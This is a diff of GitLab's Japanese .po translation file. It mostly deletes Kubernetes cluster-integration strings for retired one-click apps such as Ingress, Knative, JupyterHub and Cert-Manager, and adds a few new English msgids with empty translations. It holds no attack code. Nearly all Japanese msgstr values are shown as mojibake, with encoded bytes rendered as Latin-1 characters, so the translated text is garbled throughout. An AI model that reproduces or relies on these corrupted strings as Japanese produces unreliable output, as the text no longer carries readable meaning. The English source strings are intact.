@@ -6223,6 +6250,9 @@ msgstr "国情報ã®èª­ã¿è¾¼ã¿ã«å¤±æ•—ã—ã¾ã—ãŸã€‚ã‚‚ã†ä¸€åº¦ã‚„ã‚Šç›´ã—
msgid "Checkout|Failed to load states. Please try again."
msgstr "都é“府県や州ã®èª­ã¿è¾¼ã¿ã«å¤±æ•—ã—ã¾ã—ãŸã€‚ã‚‚ã†ä¸€åº¦ã‚„ã‚Šç›´ã—ã¦ãã ã•ã„。"
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr "クレジットカードã®ç™»éŒ²ã«å¤±æ•—ã—ã¾ã—ãŸã€‚ã‚‚ã†ä¸€åº¦ã‚„ã‚Šç›´ã—ã¦ãã ã•ã„。"
@@ -6325,9 +6355,6 @@ msgstr "ファイルをé¸æŠžã—ã¦ãã ã•ã„"
msgid "Choose a group"
msgstr "グループをé¸æŠž"
-msgid "Choose a role permission"
-msgstr "役割(権é™)ã‚’é¸æŠžã—ã¦ãã ã•ã„"
-
msgid "Choose a template"
msgstr "テンプレートをé¸æŠžã—ã¦ãã ã•ã„"
@@ -6355,6 +6382,9 @@ msgstr ""
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr "インãƒãƒ¼ãƒˆãƒªãƒã‚¸ãƒˆãƒªã®ãƒˆãƒƒãƒ—レベルã®ã‚°ãƒ«ãƒ¼ãƒ—ã‚’é¸æŠžã—ã¦ãã ã•ã„。"
@@ -6784,9 +6814,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -6796,24 +6823,12 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr "%{appList} ã¯æ­£å¸¸ã« Kubernetes クラスターã«ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«ã•ã‚Œã¾ã—ãŸ"
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr "%{title} ã¯æ­£å¸¸ã«ã‚¢ãƒ³ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«ã§ãã¾ã—ãŸã€‚"
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr "%{title} ã¯æ­£å¸¸ã«æ›´æ–°ã•ã‚Œã¾ã—ãŸã€‚"
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr "クラスター管ç†ãƒ—ロジェクトを使用ã—ã¦ã€Kubernetes %{code_open}cluster-admi %{code_close} 特権ã§ãƒ‡ãƒ—ロイジョブを実行ã§ãã¾ã™ã€‚"
@@ -6847,15 +6862,6 @@ msgstr "インテグレーションを追加ã™ã‚‹ã¨ã€ã™ã¹ã¦ã®ãƒ—ロジェ
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr "ã“ã®Kubernetesクラスタ統åˆã«é–¢ã™ã‚‹è©³ç´°ã‚ªãƒ—ション"
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr "GitLab ã«ã‚³ãƒŸãƒƒãƒˆã—ã¦ã„ãªã„å…¨ã¦ã®ãƒ‡ãƒ¼ã‚¿ã‚’削除ã—ã¾ã™ã€‚ã“ã‚Œã¯å¾©å…ƒã§ãã¾ã›ã‚“。"
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr "ã™ã¹ã¦ã®ãƒ‡ãƒ¼ã‚¿ã‚’削除ã—ã€å¾©å…ƒã§ãã¾ã›ã‚“。"
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -6868,9 +6874,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr "Amazon EKS"
@@ -6892,9 +6895,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr "実行中ã®ãƒ‘イプラインをã™ã¹ã¦ã‚­ãƒ£ãƒ³ã‚»ãƒ«ã—ã¾ã™ã€‚"
-
msgid "ClusterIntegration|Apply for credit"
msgstr "クレジットをé©ç”¨"
@@ -6913,15 +6913,6 @@ msgstr "ベースドメイン"
msgid "ClusterIntegration|CA Certificate"
msgstr "CA 証明書"
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr "Cert-Manager"
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr "Cert-Managerã¯ã€è¨¼æ˜Žæ›¸ã®ç™ºè¡Œã‚’支æ´ã™ã‚‹ãƒã‚¤ãƒ†ã‚£ãƒ–ã®Kubernetes証明書管ç†ã‚³ãƒ³ãƒˆãƒ­ãƒ¼ãƒ©ã§ã™ã€‚クラスタã«Cert-Managerをインストールã™ã‚‹ã¨ã€%{linkStart}Let's Encrypt%{linkEnd} ã‹ã‚‰è¨¼æ˜Žæ›¸ãŒç™ºè¡Œã•ã‚Œã€è¨¼æ˜Žæ›¸ãŒæœ‰åŠ¹ã§æœ€æ–°ã®çŠ¶æ…‹ã‚’維æŒã—ã¾ã™ã€‚"
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr "èªè¨¼å±€ãƒãƒ³ãƒ‰ãƒ« (PEMå½¢å¼)"
@@ -6943,9 +6934,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr "ã“ã®ã‚¯ãƒ©ã‚¹ã‚¿ã‚’使用ã™ã‚‹ç’°å¢ƒã‚’é¸æŠžã—ã¦ãã ã•ã„。"
@@ -6958,15 +6946,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
-msgstr "クラスター管ç†ãƒ—ロジェクト(アルファ)"
+msgid "ClusterIntegration|Cluster management project"
+msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr "クラスターåãŒå¿…è¦ã§ã™ã€‚"
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr "クラスターアプリケーションã®ã‚¢ãƒ¼ãƒ†ã‚£ãƒ•ã‚¡ã‚¯ãƒˆãŒå¤§ãã™ãŽã¾ã™ã€‚最大許容サイズ: %{human_size}"
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -6988,15 +6973,6 @@ msgstr "API URLをコピー"
msgid "ClusterIntegration|Copy CA Certificate"
msgstr "CA 証明書をコピー"
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr "Ingress ã®ã‚¨ãƒ³ãƒ‰ãƒã‚¤ãƒ³ãƒˆã‚’コピー"
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr "Jupyter ã®ãƒ›ã‚¹ãƒˆåをコピー"
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr "Knative ã®ã‚¨ãƒ³ãƒ‰ãƒã‚¤ãƒ³ãƒˆã‚’コピー"
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr "Kubernetes クラスターåをコピー"
@@ -7045,12 +7021,6 @@ msgstr "GKE 上ã«æ–°ã—ã„クラスターを作æˆ"
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr "Kubernetesクラスターã®ä½œæˆ"
-msgid "ClusterIntegration|Crossplane"
-msgstr "Crossplane"
-
-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr "削除中ã«ã“ã®ã‚¯ãƒ©ã‚¹ã‚¿ãƒ¼ã«ã‚¢ã‚¿ãƒƒãƒã•ã‚ŒãŸã™ã¹ã¦ã®GitLabリソースを削除ã—ã¾ã™"
@@ -7066,9 +7036,6 @@ msgstr "ã”存知ã§ã™ã‹ï¼Ÿ"
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr "Elastic Kubernetes サービス"
-msgid "ClusterIntegration|Elastic Stack"
-msgstr "Elastic Stack"
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr "Cloud Run for Anthos 有効化"
@@ -7084,9 +7051,6 @@ msgstr "Kubernetes クラスターã¸ã® GitLab 接続を有効ã¾ãŸã¯ç„¡åŠ¹ã
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr "役割ベースã®ã‚¢ã‚¯ã‚»ã‚¹åˆ¶å¾¡ (RBAC) を使ã†å ´åˆã€ã“ã®è¨­å®šã‚’有効ã«ã—ã¾ã™ã€‚"
-msgid "ClusterIntegration|Enabled stack"
-msgstr "有効化ã•ã‚ŒãŸã‚¹ã‚¿ãƒƒã‚¯"
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr ""
@@ -7129,27 +7093,12 @@ msgstr "プロジェクトをå–得中"
msgid "ClusterIntegration|Fetching zones"
msgstr "ゾーンをå–得中"
-msgid "ClusterIntegration|Fluentd"
-msgstr "Fluentd"
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr "GitLabã‚’çµ±åˆ"
-msgid "ClusterIntegration|GitLab Runner"
-msgstr "GitLab Runner"
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr "GitLab Runner ã¯ã“ã®ãƒªãƒã‚¸ãƒˆãƒªã«æŽ¥ç¶šã—ã€CI / CD ジョブを実行ã—ã€çµæžœã‚’プッシュãƒãƒƒã‚¯ã—ã€ã‚¢ãƒ—リケーションを本番環境ã«ãƒ‡ãƒ—ロイã—ã¾ã™ã€‚"
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7177,9 +7126,6 @@ msgstr "グループクラスター"
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr "ã‚ãªãŸãŒè¤‡æ•°ã®ã‚¯ãƒ©ã‚¹ã‚¿ã‚’セットアップ㗠Auto DevOps を使用ã—ã¦ã„ã‚‹å ´åˆã€%{help_link_start}最åˆã«ã“ã¡ã‚‰ã‚’ãŠèª­ã¿ãã ã•ã„%{help_link_end} 。"
@@ -7189,18 +7135,6 @@ msgstr "関連ã™ã‚‹ã™ã¹ã¦ã®GitLabリソースを削除ã—ãŸããªã„å ´åˆ
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr "Ingress"
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr "Ingress エンドãƒã‚¤ãƒ³ãƒˆ"
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr "Ingressã«ã‚ˆã£ã¦ã€è¦æ±‚ホストã¾ãŸã¯ãƒ‘スã«åŸºã¥ã„ã¦è¦æ±‚をサービスã«ãƒ«ãƒ¼ãƒ†ã‚£ãƒ³ã‚°ã—ã€å¤šæ•°ã®ã‚µãƒ¼ãƒ“スをå˜ä¸€ã®ã‚¨ãƒ³ãƒˆãƒªãƒã‚¤ãƒ³ãƒˆã«é›†ä¸­ã•ã›ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚"
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr "インスタンスクラスター"
@@ -7222,39 +7156,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr "発行者メール"
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr "Jupyter ã®ãƒ›ã‚¹ãƒˆå"
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr "JupyterHub"
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr "マルãƒãƒ¦ãƒ¼ã‚¶ãƒ¼ãƒãƒ–JupyterHubã¯ã€ã‚·ãƒ³ã‚°ãƒ«ãƒ¦ãƒ¼ã‚¶ãƒ¼Jupyterノートブックサーãƒãƒ¼ã®è¤‡æ•°ã®ã‚¤ãƒ³ã‚¹ã‚¿ãƒ³ã‚¹ã‚’生æˆã€ç®¡ç†ã€ãŠã‚ˆã³ãƒ—ロキシã—ã¾ã™ã€‚ JupyterHubã¯ã€å­¦ç”Ÿã®ã‚¯ãƒ©ã‚¹ã€ä¼æ¥­ãƒ‡ãƒ¼ã‚¿ç§‘学グループã€ã¾ãŸã¯ç§‘学研究グループã«ãƒŽãƒ¼ãƒˆãƒ–ックをæä¾›ã™ã‚‹ãŸã‚ã«ä½¿ç”¨ã§ãã¾ã™ã€‚"
-
msgid "ClusterIntegration|Key pair name"
msgstr "キーペアå"
-msgid "ClusterIntegration|Knative"
-msgstr "Knative"
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr "Knativeドメインå:"
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr "Knative エンドãƒã‚¤ãƒ³ãƒˆ:"
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr "Knativeドメインåを正常ã«æ›´æ–°ã—ã¾ã—ãŸã€‚"
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr "Knativeã¯Kubernetesã‚’æ‹¡å¼µã—ã¦ã€ã‚ªãƒ³ãƒ—レミスã€ã‚¯ãƒ©ã‚¦ãƒ‰ã€ã•ã‚‰ã«ã¯ã‚µãƒ¼ãƒ‰ãƒ‘ーティã®ãƒ‡ãƒ¼ã‚¿ã‚»ãƒ³ã‚¿ãƒ¼ãªã©ã€ã©ã“ã§ã‚‚実行å¯èƒ½ãªæœ€æ–°ã®ã‚½ãƒ¼ã‚¹ä¸­å¿ƒã®ã‚³ãƒ³ãƒ†ãƒŠãƒ™ãƒ¼ã‚¹ã®ã‚¢ãƒ—リケーションを構築ã™ã‚‹ãŸã‚ã«ä¸å¯æ¬ ãªãƒŸãƒ‰ãƒ«ã‚¦ã‚§ã‚¢ã‚³ãƒ³ãƒãƒ¼ãƒãƒ³ãƒˆã®ã‚»ãƒƒãƒˆã‚’æä¾›ã—ã¾ã™ã€‚"
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr "Kubernetesクラスターを作æˆã—ã¦ã„ã¾ã™..."
@@ -7288,9 +7192,6 @@ msgstr "グループ Kubernetes クラスターã®è©³ç´°"
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr "Kubernetes クラスタã®ã‚¤ãƒ³ã‚¹ã‚¿ãƒ³ã‚¹ã®è©³ç´°"
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr "IAMロールã®ãƒ­ãƒ¼ãƒ‰"
@@ -7339,12 +7240,6 @@ msgstr "キーペアãŒè¦‹ã¤ã‹ã‚Šã¾ã›ã‚“"
msgid "ClusterIntegration|No VPCs found"
msgstr "VPCãŒè¦‹ã¤ã‹ã‚Šã¾ã›ã‚“"
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr ""
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr ""
-
msgid "ClusterIntegration|No instance type found"
msgstr "インスタンスタイプãŒè¦‹ã¤ã‹ã‚Šã¾ã›ã‚“"
@@ -7387,9 +7282,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr "Google アカウントãŒæ¬¡ã®è¦ä»¶ã‚’満ãŸã—ã¦ã„ã‚‹ã“ã¨ã‚’確èªã—ã¦ãã ã•ã„。"
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr "デプロイ完了後ã«ã‚ãªãŸã®ã‚¢ãƒ—リケーションã«ã‚¢ã‚¯ã‚»ã‚¹ã™ã‚‹ç‚ºã«ã€ç”Ÿæˆã•ã‚ŒãŸã‚¨ãƒ³ãƒ‰ãƒã‚¤ãƒ³ãƒˆã‚’ワイルドカードDNSã«æŒ‡å®šã—ã¾ã™ã€‚"
-
msgid "ClusterIntegration|Project cluster"
msgstr "プロジェクトクラスター"
@@ -7399,15 +7291,6 @@ msgstr "プロジェクトã®åå‰ç©ºé–“ (çœç•¥å¯èƒ½ã€ä¸€æ„)"
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr "プロジェクトã®åå‰ç©ºé–“ã®ãƒ—レフィックス (オプションã€ãƒ¦ãƒ‹ãƒ¼ã‚¯)"
-msgid "ClusterIntegration|Prometheus"
-msgstr "Prometheus"
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Provider details"
msgstr "プロãƒã‚¤ãƒ€ãƒ¼ã®è©³ç´°"
@@ -7444,24 +7327,6 @@ msgstr "プロジェクトã‹ã‚‰ Kubernetes クラスターã®è¨­å®šã‚’削除ã—
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr "プロジェクトã‹ã‚‰ã‚¯ãƒ©ã‚¹ã‚¿ãƒ¼ã‚’削除ã—ã¾ã™ãŒã€é–¢é€£ã™ã‚‹ãƒªã‚½ãƒ¼ã‚¹ã¯ä¿æŒã•ã‚Œã¾ã™"
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr "å¿…è¦ã«å¿œã˜ã¦ã“れをã‚ãªãŸã®ãƒ›ã‚¹ãƒˆåã«ç½®ãæ›ãˆã¾ã™ã€‚ãã†ã™ã‚‹å ´åˆã€hostname ã¯ä¸Šã® Ingress IP アドレスを指ã—ã¾ã™ã€‚"
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr "インストール開始ã«å¤±æ•—ã—ã¾ã—ãŸ"
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr "アンインストールã®é–‹å§‹è¦æ±‚ã«å¤±æ•—ã—ã¾ã—ãŸ"
-
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr "SIEM ホストå"
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr "SIEM ãƒãƒ¼ãƒˆç•ªå·"
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr "SIEMプロトコル"
-
msgid "ClusterIntegration|Save changes"
msgstr "変更をä¿å­˜"
@@ -7474,9 +7339,6 @@ msgstr "キーペアを検索"
msgid "ClusterIntegration|Search VPCs"
msgstr "VPCを検索"
-msgid "ClusterIntegration|Search domains"
-msgstr "ドメインを検索"
-
msgid "ClusterIntegration|Search instance types"
msgstr "インスタンスタイプを検索"
@@ -7525,15 +7387,9 @@ msgstr "リージョンをé¸æŠžã—ã¦ã‚­ãƒ¼ãƒšã‚¢ã‚’é¸æŠž"
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr "リージョンをé¸æŠžã—ã¦VPCã‚’é¸æŠž"
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr "スタックをé¸æŠžã—㦠Crossplane をインストールã—ã¾ã™ã€‚"
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr "ゾーンをé¸æŠžã—ã¦ãƒãƒƒãƒˆãƒ¯ãƒ¼ã‚¯ã‚’é¸æŠž"
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr "既存ã®ãƒ‰ãƒ¡ã‚¤ãƒ³ã‹æ–°ã—ã„ドメインをé¸æŠžã—ã¦ãã ã•ã„"
-
msgid "ClusterIntegration|Select machine type"
msgstr "マシンタイプをé¸æŠž"
@@ -7558,9 +7414,6 @@ msgstr "ゾーンをé¸æŠž"
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr "ゾーンをé¸æŠžã—ã¦ãƒžã‚·ãƒ³ã‚¿ã‚¤ãƒ—ã‚’é¸æŠž"
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr "サービストークン"
@@ -7579,27 +7432,12 @@ msgstr "å•é¡ŒãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr "Kubernetes クラスターã®ä½œæˆä¸­ã«å•é¡ŒãŒç™ºç”Ÿã—ã¾ã—ãŸ"
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr "%{title} ã®ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«ä¸­ã«å•é¡ŒãŒç™ºç”Ÿã—ã¾ã—ãŸ"
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr "設定ã®ä¿å­˜ä¸­ã«å•é¡ŒãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚ã‚‚ã†ä¸€åº¦ã‚„ã‚Šç›´ã—ã¦ãã ã•ã„。"
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr "%{title} ã®ã‚¢ãƒ³ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«ã«å•é¡ŒãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr "Knativeドメインåã®æ›´æ–°ä¸­ã«å•é¡ŒãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr "ドメインを指定ã™ã‚‹ã¨ã€Auto Review App 㨠Auto Deployステージを %{linkStart}Auto DevOps%{linkEnd} ã«ä½¿ç”¨ã§ãã¾ã™ã€‚ドメインã«ã¯ãƒ‰ãƒ¡ã‚¤ãƒ³ã«ãƒžãƒƒãƒã™ã‚‹ãƒ¯ã‚¤ãƒ«ãƒ‰ã‚«ãƒ¼ãƒ‰DNSãŒè¨­å®šã•ã‚Œã¦ã„ã‚‹å¿…è¦ãŒã‚ã‚Šã¾ã™ã€‚ "
msgid "ClusterIntegration|Subnets"
msgstr "サブãƒãƒƒãƒˆ"
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr ""
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -7609,24 +7447,6 @@ msgstr "クラスターã®èªè¨¼ã«ä½¿ç”¨ã•ã‚Œã‚‹Kubernetes証明書。"
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr "Kubernetes APIã¸ã®ã‚¢ã‚¯ã‚»ã‚¹ã«ä½¿ç”¨ã•ã‚Œã‚‹URL。"
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr ""
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr "関連ã™ã‚‹ãƒ­ãƒ¼ãƒ‰ãƒãƒ©ãƒ³ã‚µãƒ¼ã¨IPã¯å‰Šé™¤ã•ã‚Œã€å¾©å…ƒã§ãã¾ã›ã‚“。"
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr "ç´ä»˜ã‘られãŸç§˜å¯†ã‚­ãƒ¼ã¯å‰Šé™¤ã•ã‚Œã€å¾©å…ƒã§ãã¾ã›ã‚“。"
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr "Elastic Stackã¯ã‚¯ãƒ©ã‚¹ã‚¿ãƒ¼å†…ã®ã™ã¹ã¦ã®ãƒãƒƒãƒ‰ã‹ã‚‰ãƒ­ã‚°ã‚’åŽé›†ã—ã¾ã™"
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr "ã“ã®ã‚¨ãƒ³ãƒ‰ãƒã‚¤ãƒ³ãƒˆã¯å‰²ã‚Šå½“ã¦ãƒ—ロセス実施中ã§ã™ã€‚ã‚‚ã—処ç†æ™‚é–“ãŒé•·ã„å ´åˆã€ã‚ãªãŸã®Kubernetesクラスタã¾ãŸã¯Google Kubernetes Engineã®ã‚¯ã‚©ãƒ¼ã‚¿ã‚’確èªã—ã¦ãã ã•ã„。"
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr "プロジェクトã«é–¢é€£ä»˜ã‘ã—ãŸåå‰ç©ºé–“。ã“ã‚Œã¯ã€ãƒ‡ãƒ—ロイボードã€ãƒ­ã‚°ã€ãŠã‚ˆã³Web端末ã«ä½¿ç”¨ã—ã¾ã™ã€‚"
@@ -7657,9 +7477,6 @@ msgstr ""
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr ""
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr "デプロイ後ã«ã‚¢ãƒ—リケーションã«ã‚¢ã‚¯ã‚»ã‚¹ã™ã‚‹ã«ã¯ã€ãƒ¯ã‚¤ãƒ«ãƒ‰ã‚«ãƒ¼ãƒ‰ DNS ã‚’ Knative エンドãƒã‚¤ãƒ³ãƒˆã«æŒ‡å®šã—ã¾ã™ã€‚"
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr ""
@@ -7681,21 +7498,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr "%{appTitle} をアンインストール"
-
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr ""
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr "æ›´æ–°ã«å¤±æ•—ã—ã¾ã—ãŸã€‚ログを確èªã—ã¦ã‚‚ã†ä¸€åº¦è©¦ã—ã¦ãã ã•ã„。"
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr "%{query} を使用"
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr "ã“ã®ã‚¯ãƒ©ã‚¹ã‚¿ãƒ¼ã« Cloud Runã€Istioã€ãŠã‚ˆã³ HTTP Load Balancing アドオンを使用ã—ã¾ã™ã€‚"
